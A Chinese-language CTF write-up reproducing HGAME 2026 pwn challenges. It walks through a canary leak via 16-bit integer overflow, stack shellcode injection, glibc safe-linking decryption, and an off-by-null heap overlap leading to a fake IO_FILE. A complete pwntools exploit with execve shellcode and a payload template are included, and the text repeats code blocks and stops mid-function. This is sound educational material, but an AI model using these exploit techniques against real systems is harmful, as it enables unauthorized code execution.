-
-
[原创]HGAME 2026复现(1)
-
发表于: 1天前 576
-
查看保护,发现栈有可执行权限,猜测跟ret2shellcode有关

main函数设置了一个canary,checksec才看不出来。从canary = (__int64)&v1可以看出,这个canary是全局变量,存放栈上的地址
接着在while循环里用了个switch,对应四种功能,首先看case 0,因为v8[128]的空间是0x3e8,跟rbp的距离是0x3FA,而read(0, v8, 0x410uLL);则会导致栈溢出,溢出长度是0x28,可以覆盖到返回地址+0x6的位置。注意memset(v8, 0, sizeof(v8));会清空v8的内容。

这里对应case 1,把dis数组对应索引位置清0.
这个函数用来打印dis对应索引的值,要求索引值是正数。但这里存在个问题LOWORD(v0) = -v2;首先%hd输入的是两个字节,v2是用补码表示的,-v2则是将v2做取反运算再+1。
比如说
+5 二进制是 101:
对 0x0005:
所以:
对 -5 的比特 0xFFFB:
得到:
这里有个特殊情况:最小负数无法变成正数
比如 16 位有符号数的最小值是 -32768,它的相反数 32768 超出范围,会溢出,取反+1后反而等于自身。
可以看到canary在dis的低地址方向,差了0x40000,再除以8,刚好等于32768,所以我们可以输入index为-32768达到数组越界打印canary,从而泄露栈地址。


case3同样存在整数溢出的问题,输入index为-32768,就可以修改canary值

检查canary值
需要注意写入的shellcode只能写到返回地址之前,返回地址需要存放shellcode的地址,所以shellcode最多只能写入0x1A(0x3FA-0x3E8+0x8)。不过这里为了方便对齐,我直接从rbp-0x10(注意这里要修改canary的值等于shellcode的前八个字节,绕过检查)开始写,只写入0x18长度的shellcode。
把断点打在设置canary之后,查看canary的值,存着栈地址

再看rbp的值

计算到canary也就是rbp-0x10的偏移是0x408,后面我们泄露出栈地址,加上这个偏移就是shellcode的地址了

在2.32版本,ptmalloc引入了PROTECT_PTR,即保护指针的概念,其指针是被异或加密的,如果对系统的堆地址一无所知,将无法正确解读泄露的指针的真实值。
tcache_put当然也引入了这一机制,其next指针(fd)将会与entry首块进行异或加密。

结合两个代码,其实就是e->next =((&e->next) >> 12 ) ^ tcache -> entries[tc_idx]
触发这个 PROTECT_PTR 宏,有两种情况:
第一种是当前 free 的堆块是第一个进入 tcache bin 的(此前 tcache bin 中没有堆块),这种情况原本 next 的值就是 0 。第二种情况则是原本的 next 值已经有数据了。如果是第一种情况的话,对于 safe-Linking 机制而言,可能并没有起到预期的作用,因为将当前堆地址右移 12 位和 0 异或,其实值没有改变,如果我们能泄露出这个运算后的结果,再将其左移 12 位就可以反推出来堆地址,如果有了堆地址之后,那我们依然可以篡改 next 指针,达到任意地址申请的效果
举个栗子:
当前tcachebins是空的

我们free一个size为0x100的chunk,可以看到这个chunk加密后的next指针是0x000000055924f45f。还是看e->next =((&e->next) >> 12 ) ^ tcache -> entries[tc_idx]这个代码,首先&e->next就是next指针的地址,也就是0x55924f45fbd0,再就是tcache -> entries[tc_idx],在我们free之前,这个tcachebin是空的,所以就是0了,也就是变成了e->next =((&e->next) >> 12 ) ^ tcache -> entries[tc_idx] = (0x55924f45fbd0 >> 12) ^ 0 = 0x55924f45f。这对应第一种情况。


接着我们再free一个同样是size为0x100的chunk,首先&e->next就是next指针的地址,也就是0x55924f45fcd0,再就是tcache -> entries[tc_idx],在我们free之前,这个tcachebin是有一个chunk的,指向的是0x55924f45fbd0,也就是变成了e->next =((&e->next) >> 12 ) ^ tcache -> entries[tc_idx] = (0x55924f45fcd0 >> 12) ^ 0x55924f45fbd0 =0x559716610f8f 。


恢复 next 的宏为 #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr) ,其实这个宏最终还是调用了 PROTECT_PTR ,原理就是 A=B^C ; C=A^B
所以我们要想解密next指针,就变成了e->next = (&tcache -> entries[tc_idx] >> 12) ^ tcache -> entries[tc_idx]。这里的&tcache -> entries[tc_idx]其实就是&e->next
以第二种情况为例子:
e->next = (&tcache -> entries[tc_idx] >> 12) ^ tcache -> entries[tc_idx] = (0x55924f45fcd0 >> 12) ^ 0x559716610f8f = 0x55924f45fbd0
所以只要我们成功泄露&e->next的值或者heap基址,就可以通过设置加密的next指针为e->next = ((&e->next) >> 12 ) ^ target_addr ,实现申请任意地址的chunk
原理:
利用off by null修改掉chunk的size域的P位,绕过unlink检查,在堆的后向合并过程中构造出chunk overlapping。
例子:
模板
保护全开。。

还是一个菜单题,共有四种功能,前三种分别对应写、删除、打印日记,最后一种对应退出程序,使用exit(0)退出。当执行exit函数时会触发<font style="color:rgba(0, 0, 0, 0.87);">_IO_flush_all_lockp</font>
该函数首先需要输入一个小于0x64的索引,且需要unk_4040[index]为空,unk_4040用来存放malloc返回的用户地址。接着就是输入申请的内存大小v2,最终申请的内存大小会在v2基础上加上16。申请完后接着就是写入两次八字节分别是date和weather,再写入v2个字节为content字段。
需要注意*(_BYTE )(((_QWORD *)&unk_4040 + v1) + v3 + 16) = 0;这里存在off by null,可以覆盖高地址chunk的size最低一个字节为0x0
输入小于0x63的索引,free掉对应索引的内存。
同样根据索引分别打印Date,Weather和Content的内容
先写一下程序交互
申请四个chunk并free chunkA和chunkC,此时unsorted bin为unsorted bin -> chunkC -> chunkA ->unsorted bin,

vmmap看一下libc基址和heap基址,算出偏移分别是0x21ace0和0x720

接着申请回chunkA并打印信息
需要注意的是,再申请回chunkA的过程中,需要往内存里写东西,为了不破坏地址信息,这里只写入了换行符,所以libc和heap偏移分别要改成0x21ac0a和0x70a

这里把chunkC申请回来,因为后面要申请0x100大小的chunk,会split,比较麻烦
这里申请了9次chunk,chunk7要设置fake chunk绕过unlink检查

此时tcachebin满了

chunk9修改前

chunk9修改后,可以看到P被改为0,设置了prev_size

unlink时,这里prev_size的设置是为了绕过__builtin_expect(chunksize(P)!=prev_size(next_chunk(P)),0)

big chunk放入了unsortedbin中,size为0x2e0,因为不是同一次调试,地址不一样了。。凑合着看吧

看回chunk7,根据safe-linking的代码e->next =((&e->next) >> 12 ) ^ tcache -> entries[tc_idx],&e->next就是0x5612b4e3d2d0,tcache -> entries[tc_idx]就是之前tcachebin长度为6的情况,是0x5612b4e3d0d0,计算结果为0x5617d5c89eed。我们之前泄露了heap基址,计算得到&e->next偏移是0x12d0,我们只需要伪造target_addr为&_IO_list_all即可

覆写next指针后,申请回chunk8,下一个就是_IO_list_all了

接着就是申请这个_IO_list_all,然后改为chunkC+0x20的地址,偏移是0x740,因为我们后面写入的IO_file结构是在content字段,prev_size,size,Date,weather刚好是0x20
释放并申请chunkC,伪造IO_file,照着模板抄就行了,最后退出程序获取shell

int __fastcall main(int argc, const char **argv, const char **envp){ _QWORD *v3; // rdx __int16 v4; // ax __int16 v6[2]; // [rsp+0h] [rbp-400h] BYREF __int16 i; // [rsp+4h] [rbp-3FCh] _QWORD v8[125]; // [rsp+6h] [rbp-3FAh] BYREF __int64 v9; // [rsp+3F0h] [rbp-10h] init_canary(argc, argv, envp); v9 = canary; putchar(10); while ( 1 ) { printf("choose> "); __isoc99_scanf("%hd", v6); switch ( v6[0] ) { case 0: printf("way> "); read(0, v8, 0x410uLL); printf("distance> "); for ( i = 0; i <= 200 && dis[i]; ++i ) ; v3 = (_QWORD *)((char *)&str + 1304 * i); *v3 = v8[0]; v3[124] = v8[124]; qmemcpy( (void *)((unsigned __int64)(v3 + 1) & 0xFFFFFFFFFFFFFFF8LL), (const void *)((char *)v8 - ((char *)v3 - ((unsigned __int64)(v3 + 1) & 0xFFFFFFFFFFFFFFF8LL))), 8LL * ((((_DWORD)v3 - (((_DWORD)v3 + 8) & 0xFFFFFFF8) + 1000) & 0xFFFFFFF8) >> 3)); memset(v8, 0, sizeof(v8)); __isoc99_scanf("%lu", &dis[i]); break; case 1: delete(); break; case 2: show(); break; case 3: printf("index> "); __isoc99_scanf("%hd", v6); v4 = v6[0]; if ( v6[0] <= 0 ) v4 = -v6[0]; v6[0] = v4; if ( v4 > 200 ) { puts("invalid index"); } else { printf("a new distance> "); __isoc99_scanf("%lu", &dis[v6[0]]); } break; case 4: if ( v9 != canary ) { printf("it's a poor decision :("); exit(0); } return 0; default: continue; } }}int __fastcall main(int argc, const char **argv, const char **envp){ _QWORD *v3; // rdx __int16 v4; // ax __int16 v6[2]; // [rsp+0h] [rbp-400h] BYREF __int16 i; // [rsp+4h] [rbp-3FCh] _QWORD v8[125]; // [rsp+6h] [rbp-3FAh] BYREF __int64 v9; // [rsp+3F0h] [rbp-10h] init_canary(argc, argv, envp); v9 = canary; putchar(10); while ( 1 ) { printf("choose> "); __isoc99_scanf("%hd", v6); switch ( v6[0] ) { case 0: printf("way> "); read(0, v8, 0x410uLL); printf("distance> "); for ( i = 0; i <= 200 && dis[i]; ++i ) ; v3 = (_QWORD *)((char *)&str + 1304 * i); *v3 = v8[0]; v3[124] = v8[124]; qmemcpy( (void *)((unsigned __int64)(v3 + 1) & 0xFFFFFFFFFFFFFFF8LL), (const void *)((char *)v8 - ((char *)v3 - ((unsigned __int64)(v3 + 1) & 0xFFFFFFFFFFFFFFF8LL))), 8LL * ((((_DWORD)v3 - (((_DWORD)v3 + 8) & 0xFFFFFFF8) + 1000) & 0xFFFFFFF8) >> 3)); memset(v8, 0, sizeof(v8)); __isoc99_scanf("%lu", &dis[i]); break; case 1: delete(); break; case 2: show(); break; case 3: printf("index> "); __isoc99_scanf("%hd", v6); v4 = v6[0]; if ( v6[0] <= 0 ) v4 = -v6[0]; v6[0] = v4; if ( v4 > 200 ) { puts("invalid index"); } else { printf("a new distance> "); __isoc99_scanf("%lu", &dis[v6[0]]); } break; case 4: if ( v9 != canary ) { printf("it's a poor decision :("); exit(0); } return 0; default: continue; } }}init_canary(argc, argv, envp);v9 = canary;__int64 *init_canary(){ __int64 *result; // rax __int64 v1; // [rsp+8h] [rbp-8h] BYREF setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); v1 = (__int64)&v1; result = &v1; canary = (__int64)&v1; return result;}init_canary(argc, argv, envp);v9 = canary;__int64 *init_canary(){ __int64 *result; // rax __int64 v1; // [rsp+8h] [rbp-8h] BYREF setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); v1 = (__int64)&v1; result = &v1; canary = (__int64)&v1; return result;}int delete(){ __int16 v1; // [rsp+Eh] [rbp-2h] printf("index> "); __isoc99_scanf("%hd"); dis[v1 % 201] = 0LL; return printf("%hd", (unsigned int)(v1 % 201));}int delete(){ __int16 v1; // [rsp+Eh] [rbp-2h] printf("index> "); __isoc99_scanf("%hd"); dis[v1 % 201] = 0LL; return printf("%hd", (unsigned int)(v1 % 201));}int show(){ __int64 v0; // rax __int16 v2; // [rsp+Eh] [rbp-2h] BYREF printf("index> "); __isoc99_scanf("%hd", &v2); LOWORD(v0) = v2; if ( v2 <= 0 ) LOWORD(v0) = -v2; v2 = v0; LODWORD(v0) = (unsigned __int16)v0; if ( (__int16)v0 <= 199 ) { v0 = dis[v2]; if ( v0 ) LODWORD(v0) = printf(": %lu\n", dis[v2]); } return v0;}int show(){ __int64 v0; // rax __int16 v2; // [rsp+Eh] [rbp-2h] BYREF printf("index> "); __isoc99_scanf("%hd", &v2); LOWORD(v0) = v2; if ( v2 <= 0 ) LOWORD(v0) = -v2; v2 = v0; LODWORD(v0) = (unsigned __int16)v0; if ( (__int16)v0 <= 199 ) { v0 = dis[v2]; if ( v0 ) LODWORD(v0) = printf(": %lu\n", dis[v2]); } return v0;}from pwn import *context(arch = 'amd64',os = 'linux',log_level = 'debug')io = process('./vuln')#io = remote("cloud-middle.hgame.vidar.club",32265)io.sendlineafter(b"choose> ",b"2")io.sendlineafter(b"index> ",b"-32768")io.recvuntil(b": ")aa = int(io.recvuntil(b"\n",drop=True))log.success(hex(aa))shellcode = asm(''' pop r11 mov rax, 0x68732f6e69622f push rax push rsp pop rdi xor eax, eax mov al, 59 xor rdx, rdx syscall''')# 因为rsp和shellcode挨得很近,两次push会破坏shellcode,所以这里我先pop一次抬高rsp的地址# rsi在调试的时候发现是0,就不用去赋值了log.info(len(shellcode))addr = aa + 0x408log.success(hex(addr))payload = b'a'*(0x3e8+2)+shellcode+p64(addr)io.sendlineafter(b"choose> ",b"3")io.sendlineafter(b"index> ",b"-32768")n = int.from_bytes(shellcode[:8], byteorder="little", signed=False)log.success(hex(n))io.sendlineafter(b"a new distance> ", str(n).encode())io.sendlineafter(b"choose> ",b"0")# gdb.attach(io,'b *$rebase(0x14EE)')# pause()io.sendafter(b"way> ",payload)io.sendlineafter(b"distance> ",b'233')io.sendlineafter(b"choose> ",b"4")io.interactive()from pwn import *context(arch = 'amd64',os = 'linux',log_level = 'debug')io = process('./vuln')#io = remote("cloud-middle.hgame.vidar.club",32265)io.sendlineafter(b"choose> ",b"2")io.sendlineafter(b"index> ",b"-32768")io.recvuntil(b": ")aa = int(io.recvuntil(b"\n",drop=True))log.success(hex(aa))shellcode = asm(''' pop r11 mov rax, 0x68732f6e69622f push rax push rsp pop rdi xor eax, eax mov al, 59 xor rdx, rdx syscall''')# 因为rsp和shellcode挨得很近,两次push会破坏shellcode,所以这里我先pop一次抬高rsp的地址# rsi在调试的时候发现是0,就不用去赋值了log.info(len(shellcode))addr = aa + 0x408log.success(hex(addr))payload = b'a'*(0x3e8+2)+shellcode+p64(addr)io.sendlineafter(b"choose> ",b"3")io.sendlineafter(b"index> ",b"-32768")n = int.from_bytes(shellcode[:8], byteorder="little", signed=False)log.success(hex(n))io.sendlineafter(b"a new distance> ", str(n).encode())io.sendlineafter(b"choose> ",b"0")# gdb.attach(io,'b *$rebase(0x14EE)')# pause()io.sendafter(b"way> ",payload)io.sendlineafter(b"distance> ",b'233')io.sendlineafter(b"choose> ",b"4")io.interactive()patchelf --set-interpreter /home/glibc-all-in-one/libs/2.35-0ubuntu3.13_amd64/ld-linux-x86-64.so.2 ./vulnpatchelf --replace-needed libc.so.6 /home/glibc-all-in-one/libs/2.35-0ubuntu3.13_amd64/libc.so.6 ./vulnpatchelf --set-interpreter /home/glibc-all-in-one/libs/2.35-0ubuntu3.13_amd64/ld-linux-x86-64.so.2 ./vulnpatchelf --replace-needed libc.so.6 /home/glibc-all-in-one/libs/2.35-0ubuntu3.13_amd64/libc.so.6 ./vuln#define PROTECT_PTR(pos, ptr) \((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))#define PROTECT_PTR(pos, ptr) \((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))申请chunk A、chunk B、chunk C、chunk D,chunk D用来做gap,chunk A、chunk C都要处于unsortedbin范围释放A,进入unsortedbin对B写操作的时候存在off by null,修改了C的P位释放C的时候,堆后向合并,直接把A、B、C三块内存合并为了一个chunk,并放到了unsortedbin里面读写合并后的大chunk可以操作chunk B的内容申请chunk A、chunk B、chunk C、chunk D,chunk D用来做gap,chunk A、chunk C都要处于unsortedbin范围释放A,进入unsortedbin对B写操作的时候存在off by null,修改了C的P位释放C的时候,堆后向合并,直接把A、B、C三块内存合并为了一个chunk,并放到了unsortedbin里面读写合并后的大chunk可以操作chunk B的内容payload = flat( { 0x8:1, 0x10:0, 0x38:address_for_rdi, 0x28:address_for_call, 0x18:1, 0x20:0, 0x40:1, 0xd0:heap_base + 0x250, 0xc8:libc_base + get_IO_str_jumps() - 0x300 + 0x20 }, filler = '\x00')payload = flat( { 0x8:1, 0x10:0, 0x38:address_for_rdi, 0x28:address_for_call, 0x18:1, 0x20:0, 0x40:1, 0xd0:heap_base + 0x250, 0xc8:libc_base + get_IO_str_jumps() - 0x300 + 0x20 }, filler = '\x00')__int64 sub_127C(){ write(1, "1.write a new diary.\n", 0x15uLL); write(1, "2.delete a diary.\n", 0x13uLL); write(1, "3.show a diary.\n", 0x11uLL); write(1, "4.exit.\n", 8uLL); write(1, "input your choice:", 0x12uLL); return sub_1229();}void __fastcall __noreturn main(int a1, char **a2, char **a3){ int v3; // [rsp+Ch] [rbp-4h] write(1, "Let's start writing a diary!\n", 0x1DuLL); memset(&dword_4360, 0, 0x190uLL); while ( 1 ) { v3 = sub_127C(); if ( v3 == 4 ) { write(1, "Goodbye!\n", 9uLL); exit(0); } if ( v3 > 4 ) {LABEL_12: write(1, "You can't do that.\n", 0x13uLL); } else { switch ( v3 ) { case 3: sub_15EB(); break; case 1: sub_130D(); break; case 2: sub_1553(); break; default: goto LABEL_12; } } }}__int64 sub_127C(){ write(1, "1.write a new diary.\n", 0x15uLL); write(1, "2.delete a diary.\n", 0x13uLL); write(1, "3.show a diary.\n", 0x11uLL); write(1, "4.exit.\n", 8uLL); write(1, "input your choice:", 0x12uLL); return sub_1229();}void __fastcall __noreturn main(int a1, char **a2, char **a3){ int v3; // [rsp+Ch] [rbp-4h] write(1, "Let's start writing a diary!\n", 0x1DuLL); memset(&dword_4360, 0, 0x190uLL); while ( 1 ) { v3 = sub_127C(); if ( v3 == 4 ) { write(1, "Goodbye!\n", 9uLL); exit(0); } if ( v3 > 4 ) {LABEL_12: write(1, "You can't do that.\n", 0x13uLL); } else { switch ( v3 ) { case 3: sub_15EB();[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!